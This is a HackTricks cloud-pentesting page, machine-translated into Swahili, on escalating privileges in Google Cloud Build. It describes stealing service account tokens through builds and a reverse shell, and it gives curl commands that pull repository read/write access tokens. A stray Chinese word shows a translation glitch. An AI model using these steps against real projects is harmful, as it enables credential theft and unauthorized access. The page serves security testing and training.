GCP - Cloudbuild Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
cloudbuild
Kwa maelezo zaidi kuhusu Cloud Build angalia:
cloudbuild.builds.create
, iam.serviceAccounts.actAs
Kwa ruhusa hii unaweza kuwasilisha ujenzi wa wingu. Mashine ya cloudbuild itakuwa na kwa kawaida token ya Akaunti ya Huduma ya cloudbuild katika mfumo wake wa faili: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
. Hata hivyo, unaweza kuashiria akaunti yoyote ya huduma ndani ya mradi katika usanidi wa cloudbuild.
Hivyo, unaweza kufanya mashine itoe token hiyo kwa seva yako au kupata shell ya kurudi ndani yake na kujipatia token hiyo (faili inayoshikilia token inaweza kubadilika).
Unaweza kupata skripti ya asili ya exploit hapa kwenye GitHub (lakini mahali inachukua token kutoka halikufanya kazi kwangu). Hivyo, angalia skripti ya kuandaa kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa na skripti ya python ili kupata shell ya kurudi ndani ya mashine ya cloudbuild na kuiba token hiyo hapa (katika msimbo unaweza kupata jinsi ya kuashiria akaunti nyingine za huduma).
Kwa maelezo ya kina zaidi, tembelea https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.builds.update
Inawezekana kwa ruhusa hii utaweza k更新 ujenzi wa wingu na kuiba tu token ya akaunti ya huduma kama ilivyofanywa kwa ruhusa ya awali (lakini kwa bahati mbaya wakati wa kuandika hii sikuweza kupata njia yoyote ya kuita API hiyo).
TODO
cloudbuild.repositories.accessReadToken
Kwa ruhusa hii mtumiaji anaweza kupata token ya ufikiaji wa kusoma inayotumika kufikia hazina:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
cloudbuild.repositories.accessReadWriteToken
Kwa ruhusa hii, mtumiaji anaweza kupata token ya ufikiaji wa kusoma na kuandika inayotumika kufikia hifadhi:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
cloudbuild.connections.fetchLinkableRepositories
Kwa ruhusa hii unaweza kupata repos ambazo muunganisho una ufikiaji wa:
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.